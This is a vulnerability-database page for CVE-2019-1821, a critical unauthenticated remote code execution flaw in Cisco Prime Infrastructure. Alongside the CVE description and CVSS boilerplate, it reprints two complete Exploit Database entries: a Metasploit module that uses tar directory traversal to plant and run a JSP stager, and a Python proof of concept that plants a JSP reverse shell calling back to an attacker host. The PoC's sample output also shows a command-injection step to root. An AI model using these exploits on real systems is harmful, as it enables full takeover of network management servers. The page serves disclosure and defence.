CVE-2019-1821 : Detail

CVE-2019-1821

9.8
/
Critical
A03-Injection
93.01%V4
Network
2019-05-16
01h10 +00:00
2024-11-20
17h18 +00:00
CVE.org
NVD
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CVE Descriptions

Cisco Prime Infrastructure and Evolved Programmable Network Manager Remote Code Execution Vulnerabilities

A vulnerability in the web-based management interface of Cisco Prime Infrastructure (PI) and Cisco Evolved Programmable Network (EPN) Manager could allow an authenticated, remote attacker to execute code with root-level privileges on the underlying operating system. This vulnerability exist because the software improperly validates user-supplied input. An attacker could exploit this vulnerability by uploading a malicious file to the administrative web interface. A successful exploit could allow the attacker to execute code with root-level privileges on the underlying operating system.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-20 Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 8.8 HIGH CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics
V3.0 9.8 CRITICAL CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 nvd@nist.gov
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 47016

Publication date : 2019-06-19 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, 'Name' => 'Cisco Prime Infrastructure Health Monitor TarArchive Directory Traversal Vulnerability', 'Description' => %q{ This module exploits a vulnerability found in Cisco Prime Infrastructure. The issue is that the TarArchive Java class the HA Health Monitor component uses does not check for any directory traversals while unpacking a Tar file, which can be abused by a remote user to leverage the UploadServlet class to upload a JSP payload to the Apache Tomcat's web apps directory, and gain arbitrary remote code execution. Note that authentication is not required to exploit this vulnerability. }, 'License' => MSF_LICENSE, 'Author' => [ 'Steven Seeley', # Original discovery, PoC 'sinn3r' # Metasploit module ], 'Platform' => 'linux', 'Arch' => ARCH_X86, 'Targets' => [ [ 'Cisco Prime Infrastructure 3.4.0.0', { } ] ], 'References' => [ ['CVE', '2019-1821'], ['URL', 'https://srcincite.io/blog/2019/05/17/panic-at-the-cisco-unauthenticated-rce-in-prime-infrastructure.html'], ['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190515-pi-rce'], ['URL', 'https://srcincite.io/advisories/src-2019-0034/'], ['URL', 'https://srcincite.io/pocs/src-2019-0034.py.txt'] ], 'DefaultOptions' => { 'RPORT' => 8082, 'SSL' => true, }, 'Notes' => { 'SideEffects' => [ IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION ], 'Stability' => [ CRASH_SAFE ] }, 'Privileged' => false, 'DisclosureDate' => 'May 15 2019', 'DefaultTarget' => 0)) register_options( [ OptPort.new('WEBPORT', [true, 'Cisco Prime Infrastructure web interface', 443]), OptString.new('TARGETURI', [true, 'The route for Cisco Prime Infrastructure web interface', '/']) ]) end class CPITarArchive attr_reader :data attr_reader :jsp_name attr_reader :tar_name attr_reader :stager attr_reader :length def initialize(name, stager) @jsp_name = "#{name}.jsp" @tar_name = "#{name}.tar" @stager = stager @data = make @length = data.length end def make data = '' path = "../../opt/CSCOlumos/tomcat/webapps/ROOT/#{jsp_name}" tar = StringIO.new Rex::Tar::Writer.new(tar) do |t| t.add_file(path, 0644) do |f| f.write(stager) end end tar.seek(0) data = tar.read tar.close data end end def check res = send_request_cgi({ 'rport' => datastore['WEBPORT'], 'SSL' => true, 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'webacs', 'pages', 'common', 'login.jsp') }) unless res vprint_error('No response from the server') return CheckCode::Unknown end if res.code == 200 && res.headers['Server'] && res.headers['Server'] == 'Prime' return CheckCode::Detected end CheckCode::Safe end def get_jsp_stager(out_file, bin_data) # For some reason, some of the bytes tend to get lost at the end. # Not really sure why, but some extra bytes are added to ensure the integrity # of the code. This file will get deleted during cleanup anyway. %Q|<%@ page import="java.io.*" %> <% String data = "#{Rex::Text.to_hex(bin_data, '')}"; FileOutputStream outputstream = new FileOutputStream("#{out_file}"); int numbytes = data.length(); byte[] bytes = new byte[numbytes/2]; for (int counter = 0; counter < numbytes; counter += 2) { char char1 = (char) data.charAt(counter); char char2 = (char) data.charAt(counter + 1); int comb = Character.digit(char1, 16) & 0xff; comb <<= 4; comb += Character.digit(char2, 16) & 0xff; bytes[counter/2] = (byte)comb; } outputstream.write(bytes); outputstream.close(); try { Runtime.getRuntime().exec("chmod +x #{out_file}"); Runtime.getRuntime().exec("#{out_file}"); } catch (IOException exp) {} %>#{Rex::Text.rand_text_alpha(30)}| end def make_tar elf_name = "/tmp/#{Rex::Text.rand_text_alpha(10)}.bin" register_file_for_cleanup(elf_name) elf = generate_payload_exe(code: payload.encoded) jsp_stager = get_jsp_stager(elf_name, elf) tar_name = Rex::Text.rand_text_alpha(10) register_file_for_cleanup("apache-tomcat-8.5.16/webapps/ROOT/#{tar_name}.jsp") CPITarArchive.new(tar_name, jsp_stager) end def execute_payload(tar) # Once executed, we are at: # /opt/CSCOlumos send_request_cgi({ 'rport' => datastore['WEBPORT'], 'SSL' => true, 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, tar.jsp_name) }) end def upload_tar(tar) post_data = Rex::MIME::Message.new post_data.add_part(tar.data, nil, nil, "form-data; name=\"files\"; filename=\"#{tar.tar_name}\"") # The file gets uploaded to this path on the server: # /opt/CSCOlumos/apache-tomcat-8.5.16/webapps/ROOT/tar_name.jsp res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'servlet', 'UploadServlet'), 'data' => post_data.to_s, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", 'headers' => { 'Destination-Dir' => 'tftpRoot', 'Compressed-Archive' => 'false', 'Primary-IP' => '127.0.0.1', 'Filecount' => '1', 'Filename' => tar.tar_name, 'FileSize' => tar.length } }) (res && res.code == 200) end def exploit tar = make_tar print_status("Uploading tar file (#{tar.length} bytes)") if upload_tar(tar) print_status('Executing JSP stager...') execute_payload(tar) else print_status("Failed to upload #{tar.tar_name}") end end end
Exploit Database EDB-ID : 47686

Publication date : 2019-05-16 22h00 +00:00
Author : mr_me
EDB Verified : Yes

#!/usr/bin/python """ Cisco Prime Infrastructure Health Monitor HA TarArchive Directory Traversal Remote Code Execution Vulnerability Steven Seeley (mr_me) of Source Incite - 2019 SRC: SRC-2019-0034 CVE: CVE-2019-1821 Example: ======== saturn:~ mr_me$ ./poc.py (+) usage: ./poc.py <target> <connectback:port> (+) eg: ./poc.py 192.168.100.123 192.168.100.2:4444 saturn:~ mr_me$ ./poc.py 192.168.100.123 192.168.100.2:4444 (+) planted backdoor! (+) starting handler on port 4444 (+) connection from 192.168.100.123 (+) pop thy shell! python -c 'import pty; pty.spawn("/bin/bash")' [prime@piconsole CSCOlumos]$ /opt/CSCOlumos/bin/runrshell '" && /bin/sh #' /opt/CSCOlumos/bin/runrshell '" && /bin/sh #' sh-4.1# /usr/bin/id /usr/bin/id uid=0(root) gid=0(root) groups=0(root),110(gadmin),201(xmpdba) context=system_u:system_r:unconfined_java_t:s0 sh-4.1# exit exit exit [prime@piconsole CSCOlumos]$ exit exit exit """ import sys import socket import requests import tarfile import telnetlib from threading import Thread from cStringIO import StringIO from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) def _build_tar(ls, lp): """ build the tar archive without touching disk """ f = StringIO() b = _get_jsp(ls, lp) t = tarfile.TarInfo("../../opt/CSCOlumos/tomcat/webapps/ROOT/si.jsp") t.size = len(b) with tarfile.open(fileobj=f, mode="w") as tar: tar.addfile(t, StringIO(b)) return f.getvalue() def _get_jsp(ls, lp): jsp = """<%@page import="java.lang.*"%> <%@page import="java.util.*"%> <%@page import="java.io.*"%> <%@page import="java.net.*"%> <% class StreamConnector extends Thread { InputStream sv; OutputStream tp; StreamConnector( InputStream sv, OutputStream tp ) { this.sv = sv; this.tp = tp; } public void run() { BufferedReader za = null; BufferedWriter hjr = null; try { za = new BufferedReader( new InputStreamReader( this.sv ) ); hjr = new BufferedWriter( new OutputStreamWriter( this.tp ) ); char buffer[] = new char[8192]; int length; while( ( length = za.read( buffer, 0, buffer.length ) ) > 0 ) { hjr.write( buffer, 0, length ); hjr.flush(); } } catch( Exception e ){} try { if( za != null ) za.close(); if( hjr != null ) hjr.close(); } catch( Exception e ){} } } try { String ShellPath = new String("/bin/sh"); Socket socket = new Socket("__IP__", __PORT__); Process process = Runtime.getRuntime().exec( ShellPath ); ( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start(); ( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start(); } catch( Exception e ) {} %>""" return jsp.replace("__IP__", ls).replace("__PORT__", str(lp)) def handler(lp): """ This is the client handler, to catch the connectback """ print "(+) starting handler on port %d" % lp t = telnetlib.Telnet() s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(("0.0.0.0", lp)) s.listen(1) conn, addr = s.accept() print "(+) connection from %s" % addr[0] t.sock = conn print "(+) pop thy shell!" t.interact() def exec_code(t, lp): """ This function threads the client handler and sends off the attacking payload """ handlerthr = Thread(target=handler, args=(lp,)) handlerthr.start() r = requests.get("https://%s/si.jsp" % t, verify=False) def we_can_upload(t, ls, lp): """ This is where we take advantage of the vulnerability """ td = _build_tar(ls, lp) bd = {'files': ('si.tar', td)} h = { 'Destination-Dir': 'tftpRoot', 'Compressed-Archive': "false", 'Primary-IP' : '127.0.0.1', 'Filecount' : "1", 'Filename': "si.tar", 'Filesize' : str(len(td)), } r = requests.post("https://%s:8082/servlet/UploadServlet" % t, headers=h, files=bd, verify=False) if r.status_code == 200: return True return False def main(): if len(sys.argv) != 3: print "(+) usage: %s <target> <connectback:port>" % sys.argv[0] print "(+) eg: %s 192.168.100.123 192.168.100.2:4444" % sys.argv[0] sys.exit(-1) t = sys.argv[1] cb = sys.argv[2] if not ":" in cb: print "(+) using default connectback port 4444" ls = cb lp = 4444 else: if not cb.split(":")[1].isdigit(): print "(-) %s is not a port number!" % cb.split(":")[1] sys.exit(-1) ls = cb.split(":")[0] lp = int(cb.split(":")[1]) if we_can_upload(t, ls, lp): print "(+) planted backdoor!" exec_code(t, lp) if __name__ == '__main__': main()

Products Mentioned

Configuraton 0

Cisco>>Evolved_programmable_network_manager >> Version To (excluding) 3.0.1

Cisco>>Network_level_service >> Version 3.0\(0.0.83b\)

Cisco>>Prime_infrastructure >> Version To (excluding) 3.4.1

References

http://www.securityfocus.com/bid/108339
Tags : vdb-entry, x_refsource_BID
The information presented on CVE Find originates from several carefully selected reference sources. CVE data is provided by MITRE Corporation and the National Vulnerability Database (NVD). The Known Exploited Vulnerabilities (KEV) catalog is sourced from the Cybersecurity and Infrastructure Security Agency (CISA), while EPSS scores come from FIRST.org. Additionally, data regarding software weaknesses (CWE) and common attack patterns (CAPEC) is maintained by MITRE Corporation, and information on hardware and software configurations (CPE) is provided by the NVD.